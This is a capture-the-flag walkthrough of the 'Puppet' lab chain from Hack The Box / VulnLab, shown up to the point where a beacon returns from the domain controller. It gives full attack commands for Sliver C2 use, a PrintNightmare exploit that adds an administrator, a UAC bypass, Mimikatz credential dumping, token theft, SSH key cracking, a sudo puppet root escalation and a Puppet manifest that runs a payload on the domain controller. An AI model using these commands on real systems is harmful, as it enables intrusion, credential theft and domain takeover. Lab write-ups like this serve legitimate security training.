VL-Puppet

Puppet ProLab/Chain from Hack The Box - VulnLab Pentesting Walkthrough & Writeup

This comprehensive walkthrough / writeup documents the complete penetration testing process for the “Puppet Chain” machine from HackTheBox and VulnLab. This multi-stage exploitation challenge involves leveraging Sliver C2 framework, exploiting PrintNightmare vulnerability (CVE-2021-34527), performing Active Directory enumeration with BloodHound, and achieving domain compromise through Puppet configuration management exploitation.

Key Tools Used: Nmap, FTP, Sliver C2 Framework, SharpHound, BloodHound, Mimikatz, John the Ripper, SSH, Puppet, PrivescCheck, and various COFF loaders.

Difficulty: Advanced
Topics Covered: Multi-player C2 operations, privilege escalation, UAC bypass, credential dumping, lateral movement, Active Directory exploitation, and infrastructure automation abuse.


Initial Reconnaissance

Port Scanning

Only machine 3 is reachable from our initial position. Running an Nmap scan reveals several interesting services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
PORT      STATE SERVICE    REASON         VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.5
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.8.5.195
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw----r-- 1 0 0 2119 Oct 11 2024 red_127.0.0.1.cfg
|_-rwxr-xr-x 1 0 0 36515304 Oct 12 2024 sliver-client_linux
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
8140/tcp open ssl/http syn-ack ttl 63 WEBrick httpd 1.7.0 (Ruby 3.0.2 (2021-
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=puppet.puppet.vl
| Subject Alternative Name: DNS:puppet, DNS:puppet.puppet.vl
| Issuer: commonName=Puppet CA: pm01
31337/tcp open ssl/Elite? syn-ack ttl 63
| ssl-cert: Subject: commonName=multiplayer
| Subject Alternative Name: DNS:multiplayer
| Issuer: commonName=operators
| Public Key type: ec
| Public Key bits: 384
| Signature Algorithm: ecdsa-with-SHA512
| Not valid before: 2024-05-11T12:31:48
| Not valid after: 2027-05-11T12:31:48
| MD5: d3f7:f0d9:206f:215a:508a:25b1:4088:67d8
| SHA-1: ce52:0a15:d14d:f022:22b4:1699:7b84:5688:9c9d:8959

The scan reveals anonymous FTP access is enabled, and we can see two particularly interesting files available.


Accessing the Sliver C2 Framework

FTP Enumeration

Let’s connect to the FTP service anonymously:

1
ftp 10.10.148.71

Anonymous FTP Access

Inside the FTP server, we discover two critical files:

  • red_127.0.0.1.cfg - A Sliver client configuration file
  • sliver-client_linux - The Sliver client binary

After a quick search, we find that these are exactly what we need to access a multi-player Sliver session. Reference: Sliver Multi-player Mode Documentation

Configuring the Sliver Client

Before importing the configuration, we need to modify the red_127.0.0.1.cfg file so the LHOST points to the Linux machine we scanned:

Sliver Client Configuration

Now we can import the configuration:

1
./sliver-client_linux import ./red_127.0.0.1.cfg

Multiple Access to Sliver

Success! We now have access to the Sliver C2 infrastructure and can see an active beacon on one of the previously unreachable machines.


Initial Beacon Access

Active Beacon

We have an active beacon on one of the machines that was unreachable during our initial scan. Let’s interact with it:

1
use

Then retrieve information about the target:

1
info

Using the Beacon

From the information gathered, we can see that we have a session as user Bruce.Smith. Running the ps command reveals that Ruby is installed and running on the target machine:

Ruby is Running

Spawning an Interactive Session

To avoid waiting for the beacon callback interval, let’s spawn an interactive session:

1
interactive

Then type use again, and you’ll see a session appear after some time.


Active Directory Enumeration

Potential Kerberoastable Target

We identified a potentially Kerberoastable user: svc_inventory_win. Let’s perform comprehensive Active Directory enumeration using SharpHound.

Navigate to Bruce Smith’s home directory and execute:

1
sharp-hound-4 -- '-c all,GPOLocalGroup'

BloodHound Collection

Download the collected data:

1
download 20250425041522_BloodHound.zip

BloodHound didn’t immediately reveal any obvious exploitation paths, so we’ll pivot to examining network shares accessible by our current user.


SMB Share Enumeration

Let’s enumerate available shares:

1
2
3
4
5
6
7
8
9
10
sliver (puppet-mtls) > sa-netshares 10.10.148.70

[*] Successfully executed sa-netshares (coff-loader)
[*] Got output:
Share:
---------------------10.10.148.70----------------------------------
ADMIN$
C$
files
IPC$

Now let’s examine the contents of the files share:

1
sa-dir \\\\10.10.148.70\\files

Files Share

We have access to several folders. Inside the IT share, we discover an MSI file for a Puppet agent:

1
sa-dir \\\\10.10.148.70\\files\\IT
1
2
3
4
5
6
7
8
[*] Successfully executed sa-dir (coff-loader)
[*] Got output:
Contents of \\10.10.148.70\files\IT\*:
10/12/2024 01:50 <dir> .
10/12/2024 01:26 <dir> ..
10/11/2024 05:52 32794112 puppet-agent-x64-latest.msi
32794112 Total File Size for 1 File(s)
2 Dir(s)

Privilege Escalation Discovery

Before diving deeper into the Puppet infrastructure, let’s run some enumeration tools to identify easy privilege escalation paths:

1
sa-adcs-enum
1
sa-netstat

Neither revealed immediately useful information. Let’s upload and run PrivescCheck:

1
upload ../Tools/PrivescCheck.ps1
1
sharpsh -t 300 -- -c invoke-privesccheck -u C:\\Temp\\PrivescCheck.ps1

PrintNightmare Vulnerability

PrivescCheck reveals a critical finding:

1
2
3
4
5
6
7
8
Policy      : Limits print driver installation to Administrators
Key : HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint
Value : RestrictDriverInstallationToAdministrators
Data : 0
Default : 1
Expected : <null|1>
Description : Installing printer drivers does not require administrator privileges.
[*] Status: Vulnerable - Severity: High - Execution time: 00:00:00.166

This machine is vulnerable to PrintNightmare (CVE-2021-34527)! Reference: CVE-2021-34527 PoC

Exploiting PrintNightmare

Upload the exploit:

1
upload ../Tools/CVE-2021-34527.ps1

Execute the exploit to create a new administrator user:

1
sharpsh -i -s -t 1000 -- -u CVE-2021-34527.ps1 -c Invoke-Nightmare

The exploit successfully adds a new user with credentials: adm1n / P@ssw0rd

Now let’s spawn a process as this new admin user:

1
runas -u adm1n -P "P@ssw0rd" -p c:\\programdata\\puppet\\puppet-update.exe

Admins but not Elevated Token


UAC Bypass

We successfully created a user in the local administrators group, but we don’t have an elevated token. We need to bypass UAC to gain a fully privileged session.

Reference: UAC-BOF-Bonanza

Setting up the UAC Bypass Extension

1
2
3
4
5
6
# Copy folder for desired UAC bypass to the sliver extensions folder
cp -rp ~/dev/UACBypasses/SspiUacBypass /root/.sliver-client/extensions/
# CD into the new extension folder and run make
cd /root/.sliver-client/extensions/SspiUacBypass/; make
# From sliver client cli, load extension by providing new path
extensions load /root/.sliver-client/extensions/SspiUacBypass

Execute the UAC bypass:

1
SspiUacBypass c:\\programdata\\puppet\\puppet-update.exe

NT Authority System

Full Admin Access

Excellent! We now have full administrative access with an elevated token.


Credential Dumping with Mimikatz

Now that we have full access, let’s use Mimikatz to dump credentials:

1
2
armory install mimikatz
mimikatz privilege::debug sekurlsa::logonpasswords exit

SVC Puppet Win Credentials

Besides the hashes for Bruce Smith and the machine account, we also recovered credentials for a new user: svc_puppet_win_t1. This account is likely used by Puppet to execute commands on Tier 1 Windows servers. According to the Active Directory data we gathered earlier, there’s also a svc_puppet_win_t0 account, which likely manages Tier 0 assets.

T1 Admins Group


Lateral Movement via Token Impersonation

We can obtain a session as svc_puppet_win_t1 by migrating into a process running under its context, effectively stealing its token.

First, let’s enumerate services:

1
sa-sc-enum

Query the Puppet service on FILE01:

1
2
3
4
5
6
7
8
9
10
11
12
sa-sc-query FILE01 puppet
[*] Successfully executed sa-sc-query (coff-loader)
[*] Got output:
SERVICE_NAME: puppet
TYPE : 16 WIN32_OWN
STATE : 4 RUNNING
WIN32_EXIT_CODE : 0
SERVICE_EXIT_CODE : 0
CHECKPOINT : 0
WAIT_HINT : 0
PID : 2428
Flags : 0

Migrate to the Puppet service process:

1
migrate -p 2428

Beacon as SVC Account

Perfect! We now have a beacon running as the svc_puppet_win_t1 service account.


Domain Controller Enumeration

Now that we have access to the Domain Controller (DC), let’s enumerate the shares accessible to this account:

Enumeration of Shares

We discover an interesting IT share containing a .ssh directory. Inside, we find SSH keys:

1
2
download \\\\dc01.puppet.vl\\it\\.ssh\\ed25519
download \\\\dc01.puppet.vl\\it\\.ssh\\ed25519.pub

Examining the public key reveals it belongs to a user named svc_puppet_lin_t1:

SSH Key Discovery


Cracking the SSH Private Key

The private key is password-protected. Let’s crack it using ssh2john and John the Ripper:

1
ssh2john ed25519 > hash
1
john hash --wordlist=/usr/share/wordlists/rockyou.txt

Success! The passphrase cracks successfully.

Establishing SSH Access

We have three options for pivoting to the Linux Puppet server:

  1. Using Ligolo
  2. Using Chisel
  3. Using Sliver’s built-in port forwarding

We’ll use Sliver’s port forwarding as it’s the simplest approach and we only need one port:

1
portfwd add --bind 2233 -r 10.10.14.164:22

Convert the key format from CRLF to LF for Linux compatibility:

1
dos2unix ed25519

Now SSH to the Puppet Linux server (note: this may hang, be patient):

1
ssh -i lin_key -t 'svc_puppet_lin_t1@puppet.vl'@127.0.0.1 -p 2222

Linux Privilege Escalation

Once connected, check sudo privileges:

1
sudo -l

We discover we can run Puppet with sudo privileges:

1
(ALL) NOPASSWD: /usr/bin/puppet

Gaining Root Access

Exploit the sudo privileges to get root:

1
sudo puppet apply -e "exec { '/bin/sh -c \"chmod u+s /bin/bash\"': }"

This sets the SUID bit on /bin/bash, allowing us to escalate to root. Let’s add our SSH key to root’s authorized_keys for persistent access and continue enumeration.


Puppet Infrastructure Enumeration

Let’s identify which machines are managed by this Puppet master instance:

1
puppet cert list --all

We can see that both file01 and the Domain Controller (dc01) are controlled by this Puppet master instance. While we know svc_puppet_win_t1 manages file01, we can infer that svc_puppet_win_t0 likely manages the Domain Controller.


Domain Controller Compromise via Puppet

Let’s leverage Puppet to execute commands on the Domain Controller:

Create the manifests directory:

1
2
mkdir -p /etc/puppet/code/environments/production/manifests
nano /etc/puppet/code/environments/production/manifests/site.pp

Add the following Puppet configuration:

1
2
3
4
5
6
7
8
9
node 'dc01.puppet.vl' {
exec { 'pwned':
command => 'C:\\Windows\\System32\\cmd.exe /c \\\\file01.puppet.vl\\files\\update.exe',
logoutput => true,
}
}
node default {
notify { 'This is the default node': }
}

Apply the Puppet manifest:

1
puppet apply /etc/puppet/code/environments/production/manifests/site.pp

Shortly after execution, we receive a beacon